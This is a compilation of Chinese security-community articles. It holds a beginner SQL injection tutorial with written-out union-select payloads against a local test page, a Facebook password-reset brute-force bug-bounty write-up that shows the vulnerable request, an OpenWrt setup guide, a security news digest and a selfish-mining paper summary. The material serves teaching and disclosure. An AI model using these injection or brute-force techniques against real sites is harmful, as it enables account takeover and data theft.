[1] Total Meltdown漏洞：[http://blog.frizk.net/2018/03/total-meltdown.html](http://blog.frizk.net/2018/03/total-meltdown.html)
[2] 在RUST中编写一个操作系统 – 页表：[https://os.phil-opp.com/page-tables/#recursive-mapping](https://os.phil-opp.com/page-tables/#recursive-mapping)
[3] GO语言中的页表计算：<https://play.golang.org/p/tyQUoox47ri>
原文链接： | 社区文章 |
### 0x01 前言
虽然市面上的代码审计的文章已经一大把了，但是还是决定重复造轮子，打算作为一个系列来写的，近年越来越多的安全研究人员投入到php应用的漏洞挖掘，相对应的代码安全问题也被大量的暴露出来，身处这个时代，我很高兴身边的白帽子前辈不断寻求突破并丰富和完善了代码审计这个概念，学到今日，笔者也想总结自己的一套审计的经验只谈，希望可以帮助新人更加友好的入门这个领域。
### 0x02 准备
技术准备：PHP基础，MySql
使用工具：Visual Studio
服务器环境：xampp
推荐使用：phpStudy
测试代码与sql：链接：http://pan.baidu.com/s/1bId1eQ 密码：otrh
### 0x03 脑图
脑图主要总结了sql注入、xss跨站脚本攻击、csrf、xsrf、文件操作相关得漏洞、代码&&命令执行、设计缺陷以及SSRF七种常见漏洞，每种漏洞都有很多种的情况与案例，后面的文章会陆续把这些做成案例分享给大家。这篇首先介绍一下SQL注入漏洞，csrf与xsrf我分为了一种。
### 0x04 SQL注入入门
注入的主要原因是程序员在写sql语句的时候没有根据使用的场景进行过滤导致的外部可以任意操作执行的sql，另外SQL语句有Select、Insert、Update和Delete四种类型，注入也是对这四种基本操作的拼接产生的。接下来笔者将以Select为例引导新手初步了解SQL注入。Select是数据库的查询操作，所以常常出现在一个网站的查看列表，详情，搜索这些地方，缺陷代码如下
浏览器输入：
http://127.0.0.1/test/test.php?id=1
然后在浏览器输入：
http://127.0.0.1/test/test.php?id=1'
可以从红色的方框中看到多了一个 `'`导致了 sql 错误爆错了
接着在浏览器输入：
http://127.0.0.1/test/test.php?id=1' and '1'='1
发现与图1中返回了一样的结果。
在次在浏览器输入：
http://127.0.0.1/test/test.php?id=1' and '1'='2
这次可以发现没有数据输出了 因为我们执行的语句中 goods_id 不止需要 等于1 并且还需要 `string(1) = string(2)` 才返回真
但是 `string(1)`永远不可能等于`string(2)` 所以条件不满足不返回数据，
从这里我们可以知道，我们外部带入的语句被成功的带入数据库并且查询了，所以可以判断有sql注入。
Mysql注释：
从`--`序列到行尾。请注意`--`的后面有个空格,注释风格要求第2个破折号后面至少跟一个字符(例如空格、tab、换行符、字符串等等)。
从`#`字符从行尾。
从`/*`序列到后面的`*/`序列。结束序列不一定在同一行中，因此该语法允许注释跨越多行。
下面的例子显示了3种风格的注释：
mysql>SELECT 1+1; #
mysql>SELECT 1+1; -- mysql>SELECT 1 /* xxxxxx */ + 1;获取表字段数：
可以看到页面现在返回的是 正常的说明这表列数大于1，自己加大直到爆错
一直输到8页面爆错了，说明我们这个表的字段数小于8，那么就是说此表的字段为7
页面输出了1,2,3,4,5,6,7 这些都是输出点
分别输出了当前连接的用户，数据， 服务器版本
获取全部的库
获取test库的所有表
获取16进制：
SELECT hex('test');
结果74657374
加上0x+74657374
16进制：0x74657374
http://127.0.0.1/test/test.php?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x74657374
table_schema === 库名16进制编码
table_name === 表名16进制编码
获取 tdb_admin 表的所有字段
获取 tdb_admin 表数据
### 0x05 修复方法
`$id=@intval($_GET['id']);`
本文是这博客的第一篇文章，希望能够帮助刚入门的萌新学习 :） | 社区文章 |
# 一个价值1W5千刀的漏洞之我如何黑了你的facebook账号
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://www.anandpraka.sh/2016/03/how-i-could-have-hacked-your-facebook.html>
译文仅供参考，具体内容表达以及含义原文为准。
**文章概述**
这篇文章主要给大家介绍Facebook中所存在的严重漏洞。研究人员发现，攻击者可以利用这个漏洞来入侵其他用户的Facebook账号，而且攻击者甚至不需要与目标用户有任何形式的交互。值得注意的是，攻击者可以利用这个漏洞来为目标Facebook账户设置一个新的密码，从而获取到目标账户的完整访问权限。这样一来，攻击者就可以查看到目标账户中的所有信息了，包括账户中存储的用户信用卡或借记卡支付信息以及个人相册中的图片等等。Facebook的相关技术人员及时了解到了有关这一漏洞的详细信息，并且公司表示，考虑到这个漏洞的严重性以及给用户所带来的潜在影响，公司将会给予能够修复这个漏洞的人15000美金的奖励。
**漏洞描述**
如果Facebook的用户忘记了自己的登录密码，那么他就可以点击“重置密码”按钮来重新设置他的登录密码。在点击了重置选项之后，用户需要输入他的手机号码或者电子邮箱地址。
页面URL地址为：[https://www.facebook.com/login/identify?ctx=recover&lwv=110](https://www.facebook.com/login/identify?ctx=recover&lwv=110)
填写了基本信息之后，Facebook会给用户刚刚所输入的手机或电子邮箱发送一个六位的数字验证码，然后用户才能重置账户的密码。我在实验过程中，曾尝试在[www.facebook.com](http://www.facebook.com/)页面上对这个六位数字验证码进行暴力破解，但是在进行了十次到十二次的尝试之后便被系统锁定了。
然后，我便在beta.facebook.com以及mbasic.beta.facebook.com的页面上进行了相同的操作，但是我发现在上述这两个入口处却没有设置验证失败的错误次数限制。所以我决定拿自己的Facebook账号来进行实验，不出所料，我成功地重置了我账号的登录密码。这也就意味着，我可以使用这个新的密码来登录我的Facebook账户了。
大家可以从上面这段演示视频中看到，首先我对发送至用户手机或电子邮箱中的六位数字验证码进行了暴力破解，然后我就可以重置用户Facebook账号的登录密码了。
存在问题的请求信息：
POST /recover/as/code/ HTTP/1.1
Host: beta.facebook.com
lsd=AVoywo13&n=XXXXX
所以，只要能够成功地暴力破解出验证码，任何人都可以重置Facebook用户的账户密码。
奖励：
**漏洞披露时间轴：**
2016年2月22日：将漏洞信息提交给了Facebook开发团队。
2016年2月23日：验证漏洞信息。
2016年3月2日：获得了15000美金的奖励。 | 社区文章 |
# OpenWrt之入门
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者： L.A.M@Duncan SecTeam
## 0x00：引言
对于OpenWrt的认知，可能很多人都还停留在路由器或者路由器“刷机”上。在网上搜了一下，这种印象在小米等一众“智能”路由器大卖之后貌似更加深刻了[1]。当然，从OpenWrt官方的描述以及从操作系统的角度来看的话，官方的大白话的确蛮中肯。
“OpenWrt 项目是一个针对嵌入式设备的Linux操作系统。OpenWrt
不是一个单一且不可更改的固件，而是提供了具有软件包管理功能的完全可写的文件系统。这使您可以不使用供应商提供的应用程序选择和配置，而是通过使用软件包来定制设备以适应任何应用程序。对于开发人员来说，OpenWrt
是一个无需围绕它构建完整固件就能开发应用程序的框架; 对于普通用户来说，这意味着拥有了完全定制的能力，能以意想不到的方式使用该设备。”
作为一个技术小白为什么会想到倒腾OpenWrt呢？嗯，当然并不是主要为了搞机器人，而是因为一些光猫上跑了Luci。总觉得这些IoT设备会有为题，其实网上一搜一大堆破解光猫密码啥的，挺有意思，就想自己先搭个环境倒腾一下。前前后后，折腾了有一段时间了，发现挺好玩的，顺带还把计算机体系结构中逃的课都给补上了，毕竟谁还没翘过课呢。。。
还是按照team的老规矩，先把文章的mindmap贴上。
## 0x01：OpenWrt是什么？
其实，一开始没想着写这篇文章的，因为网上OpenWrt的资料还是蛮多的，当然杂且多坑，复制转发的居多。小白很懒，不想去看纯英文的官(方)文(章)，所以动了买本书看看的念头。在叮叮当当上搜了一下，数量不多，就那么两三本，而且基本是站在玩路由的角度写的，对OpenWrt的介绍，尤其是偏向于系统架构和系统安全的介绍基本上可以忽略不计，甚至压根儿没有，但这正是我最想看的，于是打消了偷懒的念头，硬着头皮啃呗。其实，偶尔读一读官文挺好，尤其是晚上睡觉之前，入睡蛮快的。。。因此，这篇文章算是干货满满吧，我把所有填过的坑，踩过的雷都一一罗列出来了，就当为有兴趣一起玩的朋友们铺路了^_^
在我看来，OpenWrt就是一个Linux操作系统，当然是针对低功耗Arm、MIPS等架构的嵌入式计算环境做过详细优化的系统，最重要的是它让针对嵌入式的开发变得愈发简单，用网上的大白话说：OpenWrt之余嵌入式设备，就如Android之余智能手机，不需要为了更新微信而重新安装Android。我觉得这个比喻特别好，对于那些不想深入了解，完了还想到处吹牛逼的人而言，简直就是天上掉下来的福利啊，而且这比喻几乎搁谁都能看懂，当然我爸妈不在此列。所以，下面这段话只能跟技术宅分享了：
“OpenWrt 项目是一个针对嵌入式设备的Linux操作系统。OpenWrt
不是一个单一且不可更改的固件，而是提供了具有软件包管理功能的完全可写的文件系统。这使您可以不使用供应商提供的应用程序选择和配置，而是通过使用软件包来定制设备以适应任何应用程序。对于开发人员来说，OpenWrt
是一个无需围绕它构建完整固件就能开发应用程序的框架; 对于普通用户来说，这意味着拥有了完全定制的能力，能以意想不到的方式使用该设备。”
那么OpenWrt与其他的Linux发行版之间有什么不同呢？停留于应用层面的比较在这里就不说了，说多了都是废话。在技术层面上，二者最大的不同包括但不限于以下几点：
### 1）软件包管理工具。
对于熟悉Linux的朋友而言，rpm，apt，apt-get，dnf，yum，pacman等等都应该比较熟悉，要么都或多或少用过、听过。可是你听过ipkg吗？你又有听说过opkg吗？ipkg是一个轻量化的包管理系统，它被设计用于在掌上电脑等存储能力有限的设备上进行linux的程序安装。现在许多嵌入式linux的手机、pda上常用它作为包管理系统。Opkg则是ipkg的一个变种，专门用于OpenWrt上的软件包管理，目前可以下载的工具大概有3000多个，较之于主流Linux发行版而言，这个数字简直是少得可怜了，但是对于这样一个小圈子而言已经非常腻害了。
### 2）自创的进程间通信机制uBus。
关于uBus的定义，官网是这样说的：
“uBus是OpenWrt的微总线体系架构，用于提供后台进程和应用程序之间的进程间通信，该机制主要包括了后台进程，库文件以及额外的辅助程序(helper)。”
从个人学习体会来看，uBus核心就是进程间通信，弥补Posix机制中传统IPC(信号量，内存共享，套接字等)的不足，同时尽量简化Deamon与App之间通信的成本与时间开销，当然还能够尽可能的统一不同Deamon与App之间的IPC规范，让开发者不用操那么多的心，可以集中精力办大事。其实，很多兼容POSIX接口的系统都实现了自己独有的IPC机制，比如MacOS。
uBus的核心部件包括了：
—— ubusd后台进程。这是整个uBus
IPC架构的核心，为其它Deamon进程提供注册接口，进而从uBus总线上获取消息。在实现上，uBus采用的是Posix套接字和“类型-长度-值”消息类型。如果有感兴趣的童鞋，可以参考官网uBus[2]。
—— Libubus库。为了便于开发者使用uBus IPC机制，OpenWrt提供Libubus库。
—— Command-line uBus
tool。OpenWrt开发了uBus的命令行工具，开发者和用户可以通过命令行与ubusd交互，可以更加直接的与系统底层组件打交道。
### 3）UCI系统。
UCI是“Unified Configuration
Interface”的缩写，顾名思义，OpenWrt通过UCI为开发者和用户提供了一个统一Deamon进程参数配置接口。其实，UCI可以理解为OpenWrt采用类似面向对象的方法，为配置文件提供了一些列“getter/setter”方法，当然不限于此。个人觉得UCI系统是一个非常“OpenWrt”的东西，简直就是无条件的贯彻了让一切变得简单，让一切变得方便的宗旨。不过，按照UCI规范开发的OpenWrt软件或者插件并不多，目前只有一些核心服务实现了对UCI的兼容，毕竟在能用性之外再附件一层易用性的东西，还是需要码农下田出力的。
## 0x02：基于虚拟化环境安装OpenWrt
我个人安装OpenWrt的动因不是为了刷路由，也不只是倒腾机器人，就是想倒腾OpenWrt，并且尝试着从操作系统和网络安全的角度去了解这个小众的Linux发行版。那么，我在选择安装OpenWrt时，首要考虑的自然就是花最少的时间把它跑起来，至于Arm，Arm64，x86，x86_64还是MIPS这些都不是我关心的。当然，在尝试安装OpenWrt的过程中，还是体验了一下在qemu上跑基于Arm架构的OpenWrt，感受很拧巴，主要还是自己不熟悉qemu。在安装过程中，我实验了Parallels，qemu和VMWare
Workstations/Fusion四种种虚拟化环境，具体安装的情况如下（仅仅是个人安装的总结，所以仅供参考）。
### 1）虚拟机配置：
硬件配置：
——CPU：1*2
——内存：1024MB
——硬盘：8GB
——网卡：桥接模式(eth0)，仅主机模式(eth1)
OpenWrt版本
——OpenWrt 19.07.8, r11364-ef56c85848
**a）Windows主机**
**b）MacOS主机（M1，Intel）**
### 2）通过虚拟磁盘转化在VMWare Workstations及VMWare Fusion(x86)运行OpenWrt
通过这种方法运行OpenWrt对于绝大多数人来说可能要容易接受一些，而且有虚拟化软件提供的GUI的加持，运行OpenWrt的感受要比qemu好。这种方法是利用qemu提供的qemu-img程序将OpenWrt提供的raw格式的磁盘文件转换为vmdk格式，这样在配置好OpenWrt的虚拟机后指定硬盘为转换后得到的vmdk文件即可。这种方法适用于Windows
PC上的VMWare Workstations以及MacOS（Intel）上的VMWare
Fusion，不得不服VMWare强大的软件开发能力和强悍的兼容性。
接下来，我们将以OpenWrt v19.07.8版本为例（经过实测，也适用于最新的v21版本），首先是进行镜像文件的格式转换：
`qemu-img convert -f raw openwrt.img -O vmdk openwrt.vmdk`
然后，用生成的vmdk磁盘文件作为OpenWrt虚拟机的磁盘文件，直接启动虚拟机就OK了，这应该是Windows上基于VMWare
Workstations运行OpenWrt最简单的方法了吧。
当然，也适用于MacOS（Intel）上的VMWare Fusion。
### 3）在VMWare Workstations，VMWare
Fusion以及Parallels虚拟化环境下，通过Linux的dd命令将镜像文件写入虚拟磁盘来运行OpenWrt
在Linux系统上用dd命令直接写OpenWrt这种方法是在网上找到的，后来在VMWare，Parallels虚拟化环境上都进行了测试，验证成功，确实可行。但是，用起来比前面的方法略显笨拙。不过，对于Parallels虚拟化环境而言，这是目前我验证成功的唯一方法，当然不排除大神们还有别的方法。如果非要在基于x86架构的MacOS上用Parallels跑OpenWrt虚拟机的话，创建磁盘的时候尽量不要启用虚拟磁盘“Trim”选项。
这种方法大致上是这样的：先创建一个Linux虚拟机，CentOS或者Debian什么的都可以，怎么简单、方便就怎么来。然后，创建一个OpenWrt的虚拟机，假设虚拟磁盘还是命名为openwrt.vmdk或者openwrt.hdd。然后，将虚拟磁盘加入到已经创建好的Linux虚拟机中，并启动Linux虚拟机。在验证新的磁盘加载成功后，用下面的命令将下载并解压后的raw格式的openwrt*.img镜像文件写入到新加载的磁盘中。
`#查看磁盘，验证磁盘加载成功`
`#lsblk`
`#dd if=openwrt.img of=/dev/sdb`
关闭Linux虚拟机，最好将刚刚添加的磁盘一并移除（但是不要删除），切换到OpenWrt虚拟机，直接开机就OK了。
### 4） 基于qemu运行OpenWrt的initramfs文件系统（RAM镜像文件）
在这种运行模式下，我们通过qemu运行OpenWrt的内存文件系统，而且这个系统是只读的，用户的所有修改操作只能保存在内存中（不会写入硬盘），那么一旦系统重新启动，所有的修改全部丢失。这种模式虽然不能保存修改，但是运行最为简单、方便，做一些简单的实验感受一下OpenWrt还是可以的。通过以下命令可以运行OpenWrt的initramfs系统：
`qemu-system-aarch64 -M virt -m 1024m -kernel
openwrt-21.02.0-armvirt-64-Image-initramfs -no-reboot -nographic -nic user
-nic user -cpu cortex-a53 -smp 4`
### 5） 基于qemu运行OpenWrt并指定可读写文件系统
通过qemu运行OpenWrt时，可以指定运行哪一个内核文件，而且可以指定存储系统对应的文件，比如下面这个命令：
`qemu-system-aarch64 -M virt -m 1024m -kernel openwrt-21.02.0-armvirt-64-Image
-drive file=openwrt-21.02.0-armvirt-64-rootfs-ext4.img,format=raw,if=virtio
-no-reboot -nographic -nic user -nic user -cpu cortex-a53 -smp 4 -append
root=/dev/vda`
### 6）关于Parallels运行OpenWrt
按照前面在VMWare上运行OpenWrt的思路，我分别尝试了转化虚拟磁盘和使用dd命令直接写磁盘。测试的结果是，Parallels无法识别qemu-img转换后的parallels格式虚拟磁盘，但是通过dd命令方式可以将raw格式的镜像文件成功写入parallels虚拟磁盘并且正常运行OpenWrt系统。
后来查阅了qemu官方资料中关于qemu-img的介绍，发现qemu-img当前版本只能读取Parallels虚拟机的虚拟磁盘文件，但是无法创建Parallels虚拟磁盘格式的文件，所以第一种方法最终会失败。
再者，由于OpenWrt不支持Apple M1处理器，也就没有提供针对Apple
M1的镜像文件下载，因此无法在基于M1处理器的MacOS上通过Parallels运行OpenWrt。而且，下载openwrt编译源代码也不行，官方没有提供对M1处理器的支持。
后来，打算尝试直接用Parallels运行armvirt格式的镜像文件（也自己编译过），也都失败了。我仔细看了看OpenWrt官网关于armvirt版本的描述，“virt
is a platform which doesn’t correspond to any real hardware and is designed
for use in virtual machines”，那么跑不起来也在情理之中。刚刚才开始IoT操作系统，对于固件的知识了解不多，若有不当，还望不吝赐教
^_^
## 0x03：OpenWrt配置OpenSSH
OpenWrt自身支持OpenSSH协议，不过采用的是针对嵌入式应用环境的Dropbear版本，与PC和Server端的OpenSSH有些差别。不过，OpenWrt提供了比较多样化的配置方法，用起来还是挺趁手的。
### 1） 基于UCI的OpenWrt配置
通过uci命令可以查看Dropbear的配置文件：
设置dropbear，允许其开启密码验证，并运行root用户登录：
其中，有三点需要注意：
1.通过uci完成dropbear（包括其他后台deamon进程）设置后，需要通过commit提交并保存结果，eg： #uci commit
dropbear。
2.如果配置依然无法生效，可以考虑reload或者restart一下后台进程。
3.如果你使用的是OpenWrt默认密码，即空密码，那么你将无法连接OpenSSH，这是dropbear默认的规则，即“不允许空密码登录”。
默认情况下，dropbear监听任意地址的22端口，这样我们就可以通过配置的WAN口连接OpenSSH。当然，事先最好查看防火墙配置规则中关于WAN口的规则，通常情况下WAN是拒绝连入请求的。
将wan对应的INPUT规则修改为ACCEPT，即允许从wan口访问OpenSSH服务，这样就可以继续愉快的玩dropbear。
### 2） 基于Web界面配置Dropbear
正常情况下，当配置的虚拟网卡正常启用，可以通过LAN网卡对应的网址访问OpenWrt所提供的Web服务，即Luci，那么一切就很简单了，网上教材特别多，我也不好意思继续瞎比比。总的来说，我个人非常喜欢Luci的界面，清晰，简洁，清新，没有那些花里胡哨的东西，让人很愉快。
点击“System —> Administration”就可以设置root账户密码。
点击“Network —> Firewall”可以修改防火墙规则，比如添加一个允许从WAN连入22端口。
### 3）最笨但最直接的配置方法——修改配置文件
除了上面两种优雅的办法，还可以直接修改配置文件，虽然显得很简单粗暴，但是好使。OpenWrt中很多的配置文件都存储在/etc/config目录下，比如。。。
下面就是dropbear的配置文件，congfig关键字，加上配置文件声明dropbear，每一个配置选项都是用option关键字作为前导，后面便是字段名称和一对单引号括起来的字段值，相比较于那些庞大的PC端的Linux系统而言，这样的配置简直太有爱了
^_^
下面是防火墙的配置文件：
## 0x04、总结
OpenWrt的模拟环境还是比较好搭建的，Windows平台下利用VMWare和qemu都能很容易的搞定，对于新手而言上手也比较容易。有了这个虚拟化的平台，后期就可以进行一系列的研究了，写插件，复现漏洞，DIY一个自己的“Packet
Squirrel”等等。。。
## 0x05、引用
1、 OpenWrt十年. <https://www.zhidx.com/p/322.html>.
2、 uBus(OpenWrt Micro Bus Architecture).
<https://openwrt.org/docs/techref/ubus>. | 社区文章 |
# 5月4日安全热点 - CVE-2018-9995:DVR(硬盘录像机)登录绕过
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
[](https://p2.ssl.qhimg.com/t019d1ecf3507e37ca7.png)
## 【漏洞】
1.CVE-2018-9995:DVR(硬盘录像机)登录绕过
<http://t.cn/RuYdkt7>
2.CVE-2018-2879:Oracle Access Manager(OAM)认证绕过
<http://t.cn/RuRezV3>
3.CVE-2018-10561/62:GPON光纤路由器漏洞分析预警
<http://t.cn/RuRuIVV>
4.研究人员半年前向微软报告了一个本地DOS(BSOD),在微软表示不会修复后公布了POC
<http://t.cn/RuE3Yay>
5.twitter的一个bug将用户密码以明文形式暴露，建议所有用户立即更改密码
<http://t.cn/RunX584>
## 【安全事件】
1.APT28组织在攻击中使用LoJack防盗软件
<http://t.cn/RuYdDaZ>
2.有人在伪装成cookie解析库的npm软件包中植入恶意代码
<http://t.cn/RuE3Y6H>
3.APT组织对中东地区android用户的攻击
<http://t.cn/RuE3Y6y>
## 【安全资讯】
1.公安部新版《网络安全等级保护测评机构管理办法》全文
<http://t.cn/RuRn6ZZ>
2.工信部发布IPv6规模部署行动计划:2018年用户规模不少于5000万户
<http://t.cn/RuRn6wB>
3.Windows 10 Redstone 4(v1803)中修复了CPU漏洞补丁带来的问题
<http://t.cn/RuE3YJ5>
4.等级保护从1.0到2.0我们应该知道的变化
<http://t.cn/RuE3YiL>
5.微软为Hyper-V漏洞赏金计划提供了Hyper-V调试符号
<http://t.cn/RunX5Ee>
6.澳大利亚最大的银行丢失了上千万客户的财务记录
<http://t.cn/RunX5n6>
7.美团点评开始调查大量用户数据泄露事件
http://t.cn/RuRWwrH
8.WebLogic漏洞CVE-2018-2628被发现野外利用
http://t.cn/RunX5mL
9.引发脸书丑闻的Cambridge Analytica关闭所有业务
<http://t.cn/RuQQ5An>
## 【安全研究】
1.如何手工执行IDA插件
<http://t.cn/RuRn6vW>
2.利用机器学习检测HTTP恶意外连流量
<http://t.cn/RuRn6Pj>
3.Docker环境下的事件分析和取证
<http://t.cn/RuRn6h0>
4.利用一个竞态漏洞root三星s8的方法
<http://t.cn/RuRJmpG>
5.基于Wrk和ReactOS源码分析APC机制的记录
<http://t.cn/RuRn67m>
6.在私有以太坊上实现针对ERC20数字货币ProxyOverflow漏洞的攻击
<http://t.cn/RuE3YIO>
7.基于Rowhammer的攻击使用GPU以在android手机上远程执行代码
<http://t.cn/RuE3YMt>
8.实时域名信誉系统DRS的设计思路方法和使用案例
<http://t.cn/RunLDgD>
## 【恶意软件】
1.Kitty恶意软件利用Drupalgeddon 2.0漏洞挖矿
<http://t.cn/RunX5YL>
2.使用Drupalgeddon 2.0漏洞和WebLogic漏洞挖矿的botnet
<http://t.cn/RunX5YH>
【以上信息整理于[ https://cert.360.cn/daily](https://cert.360.cn/daily) 】
**360CERT全称“360 Computer Emergency Readiness
Team”，我们致力于维护计算机网络空间安全，是360基于”协同联动，主动发现，快速响应”的指导原则，对全球重要网络安全事件进行快速预警、应急响应的安全协调中心。**
**微信公众号：360cert** | 社区文章 |
# 区块链自私挖矿攻击剖析
|
##### 译文声明
本文是翻译文章，文章原作者 arxiv，文章来源：arxiv.xilesou.top
原文地址：<https://arxiv.xilesou.top/pdf/1811.08263>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 Introduction
区块链的安全性是由一连串的密码散列难题建立的，该难题由被称为矿工的匿名参与者大规模网络解决。PoW的安全性受到算力集中化趋势的挑战。开采比特币区块是随机的，使用最新一代的ASIC芯片平均需要10年以上的时间。因此，区块链矿工在战略上形成了矿池，每轮都有更大的机会解决难题。通过适当地分配挖矿奖励，他们可以获得稳定的收入率。带来的问题是少数矿池占据了全球算力的绝大部分，使区块链系统处于被巨型矿池或联合矿池推翻的风险中。传统观点认为，只要没有矿工控制总算力的51％，PoW是安全的。但是，矿工可以自由选择自私挖矿方案，而不是遵循标准的比特币协议。
本文研究了有关区块链安全性的一个基本问题，即存在多个行为异常的矿池如何影响自私挖矿的获利能力。每个自私的矿工都有一个私人链并寻找机会将其公开，以获取与其算力（哈希率，
_Hashrate_ ）不相称的更多奖励。
当存在多个自私矿工时，自私挖矿会变得更容易获利吗？自私矿工应等待几轮才能获利？前一个子问题的目的是弄清楚每个自私的矿工是否需要较小的哈希率阈值来获得比诚实矿工更多的回报。后者重视自私挖矿过程中的瞬态行为，并考虑了挖矿难度调整。
## 0x02 System Model
考虑一个具有两个行为异常的矿池Alice和Bob以及一个诚实的矿池Henry的区块链挖矿系统。他们竞争解决密码难题以挖掘有效区块,从而获取类似比特币的奖励。采用工作量证明共识，并且区块的挖掘是无状态的：矿工发现区块的概率与他当前的哈希率成正比，但与整个区块链网络的当前哈希率成反比。区块链系统可动态调整密码难题的难度，以便以固定的平均速率（例如，比特币中平均每10分钟一个区块）生成新区块。我们将“回合”定义为处理一次攻击的时间，矿工的收入是指他在最长链中所开采的区块的预期比例。
用α1，α2和αh分别表示Alice，Bob和Henry的哈希率，即α1+α2+αh=1。用γ1（或γ2）表示在Alice（或Bob）与Henry之间的分叉中，诚实的矿工在Alice（或Bob）发布的链之后进行挖矿的可能性。用θ1和θ2分别表示诚实的矿工在三方分叉平局中选择在Alice和Bob各自链之后挖掘的概率。当区块链系统创建一个新块时，由于指数分布掘区间的无记忆性，它以概率为αi被矿池i开采,
∀i ∈ {1, 2, h}。
Alice（Bob）可能会强迫Henry浪费自己的计算策略，从而有策略地发布自己的区块。当Alice和Bob都是自私的矿工时，两个私人链之间的互动变得更加复杂，因为他们都不知道对方的行为。接下来将展示每个矿工可能遇到的所有不同状态。
## 0x03 Selfifish Mining Mode
Alice维护私有链，Bob维护私有链，Henry维护公共链。Alice和Bob都不知道对方的角色。我们假设所有矿工在起点被表示为“
0”，开始就在同一条公共链上工作。Alice和Bob将私有链的长度保留为私人信息，所有人都能观察到公共链的长度。
挖掘过程包括以下两种情况：
**•公共链挖矿示例：** Henry总是在公链之后开采。如果公共链比Alice或Bob的私人链长，那么也会在公共链上进行挖掘。
**•私人链挖矿示例：** 如果Alice（Bob）发现了新区块并且私人链现在比公共链更长，那么他将继续在他上开采自己的私链。
发布过程比挖掘过程更为复杂。Henry一挖到区块就会广播，而Alice或Bob将根据公链的长度决定是否发布他们的区块：
**•放弃示例：**
Alice（Bob）放弃了私人链，并且如果公共链较长，则在公共链之后的挖矿。如果Alice或Bob发布更长的链，Henry也会放弃其公共链。
**•规避风险发布示例：**
Alice（Bob）将他私下开采的区块向公众发布，这是因为担心新区块被其他人开采所带来的损失，并担心其私有链的主要优势不超过两个块。
**•连锁反应示例：** 当Alice（Bob）向公共发布自己的链并更新其长度时，将立即触发其他私人链的发布。
连锁反应示例是放弃示例和避免风险发布示例的结合，连锁反应的存在使公链的演变复杂化。假设Alice发布了自己的私人区块以淘汰当前的公共链，在建立了新的公共链之后，Bob可能会发布其私人链以立即使Alice的失效。
## 0x04 Tie-breaking Logic
共识要求公共链是最长链，一个关键问题是，当公共链的长度与Alice（Bob）相同时，公共链将如何发展。总的来说，每个矿工都在自己的链上工作，当Henry挖掘一个新的区块时，就会触发Alice或Bob的发布行为。我们在此说明私有链和公共链的演变，其中Ak，Bk和Hk表示第k个区块分别属于Alice，Bob和Henry。私人链块为灰色，公共链块为白色
**规避风险发布：**
下图中显示了Alice的私有链的规避风险发布。在Henry为公共链挖掘新区块之后，Alice仅比Henry领先一个块。由于Alice担心会输掉竞争，因此她公开发布自己的私人块，从而使Henry的公共链失效，因此Alice和Henry都成为了新的最长链上的矿工。
**平局打破方案：**
如果Alice的私人链仅比Henry领先一个块，Henry可能会赶上她，Alice立即发布她的私人块以与Henry竞争。因此，下图中存在两个相同长度的公共链。由于只有一条公共链能胜出，因此需要考虑打破平局规则。
第一种情况是Alice和Henry的公共链长度相同，而Bob的私人链长度为0或很长。因此，我们只需要解决Alice和Henry之间的关系。所有矿工都可以在A1区块后开采，而Bob和Henry可以在H1区块后开采。延长最长的公共链有五种可能性，而较短的将被淘汰。我们忽略了Bob和Henry之间的平局，因为可以用相同的方式来分析。
对于Alice和Bob各自隐藏一个私人区块的情况，他们将在Henry找到新区块之后立即发布其私人链。如下图中存在三个竞争的公共链，Alice一定会在A1之后挖矿，而Bob肯定会在B1之后挖矿。Henry不知道哪个链是恶意分叉的，因此他可以在每个公共链上挖矿，还有五种可能的情况。规避风险的发布以及两个平局打破的方案构成了私有和公共链的所有动态。
**连锁反应发布：**
接下来将介绍使私人和公共链的演变复杂化的连锁反应版本。连锁反应发布由一系列规避风险发布和打破平局方案组成。下图说明了触发连锁反应现象的示例。在阶段1，Alice的私人链包含四个区块，而Bob的私人链和Henry的公共链的长度为0。在阶段2的平局解决之后，较长的公共链包含两个区块B1和H2，而较短的是孤立的。Bob挖掘了一条从B3到B8的新私人链，而Henry在第4阶段H2之后继续挖掘了一个区块。Alice发布了自己的私人区块，以避免失去与Henry竞争的风险。现在，新的公共链从A4块开始。接下来，阶段5和6构成了Alice和Henry之间的新一轮平局打破方案，将公共链扩展到了A7块。但是，发布A7会触发Bob发布从B3到B8的所有私有块。回顾所有挖矿阶段时，我们发现获胜分支会来回切换，从而使自私挖矿的分析变得极为复杂。
## 0x05 Finite State Machine
A.稳态分析
在此制定一个有限状态机来描述私有链和公共链的演变。上图显示出了当私有链的最大长度为2（即N ＝
2）时的状态机。我们将状态定义为由Alice，Bob和Henry的长度组成的三元组。箭头表示相应的状态转换，关联的值表示转换概率。例如，所有向（0，0，0）的转换都意味着分叉的链会化为一致的公共链，并且新一轮的自私挖矿开始了。用
**P**
ijk表示（i，j，k）的稳态分布。用R1（或R2，Rh）表示由Alice（或Bob，Henry）挖掘的有效块的平均数量。使用标准方法，我们获得Ri如下：
当N很大（例如三个或四个）时，有限状态机变得更加复杂。由于篇幅所限，将仅给出N = 4的近似结果，如下。
注意在建模中不考虑N> 4的情况。除了它们的复杂性之外，过大的N可能会导致许多连续的孤立块，因此可以很容易地检测到自私挖矿。最后，模拟结果确认了在N =
4时获利阈值的收敛性，即N = 4与足够大的N之间的差很小。
B、瞬态分析
比特币系统的哈希率呈指数增长，有必要研究攻击的瞬时行为。在一个难度调整回合内进行建模，并探索回合数与攻击者的哈希率之间的关系。
为了更好地描述，我们定义了绝对收入和相对收入的概念。 首先，Alice，Bob和Henry的相对收入是其收入占总收入的比例，即
由于忽略了交易费和其他因素的影响，因此矿工只能从已发布的区块中获取收入。基于此将绝对收益定义为每单位时间获得的有效块数。在比特币系统中，我们以10分钟为单位时间。
通过状态机，在第i个调整间隔（例如难度调整回合）中，最长的公共链将出现ni个块，并且在一个攻击回合中完全挖掘出来mi个块（例如从阶段（0,0,0）回到阶段（0,0,0））。此外，使用Ti表示第i个调整间隔中花费的总时间。考虑到计算能力的变化，用Si表示整个系统的哈希率，mathi和ti分别表示在第i个调整间隔内开采一个块所花费的理论时间和实际时间。以Alice为例，我们可以得到以下方程式：
下式说明在第一个困难调整回合间，它的花费时间是T1。
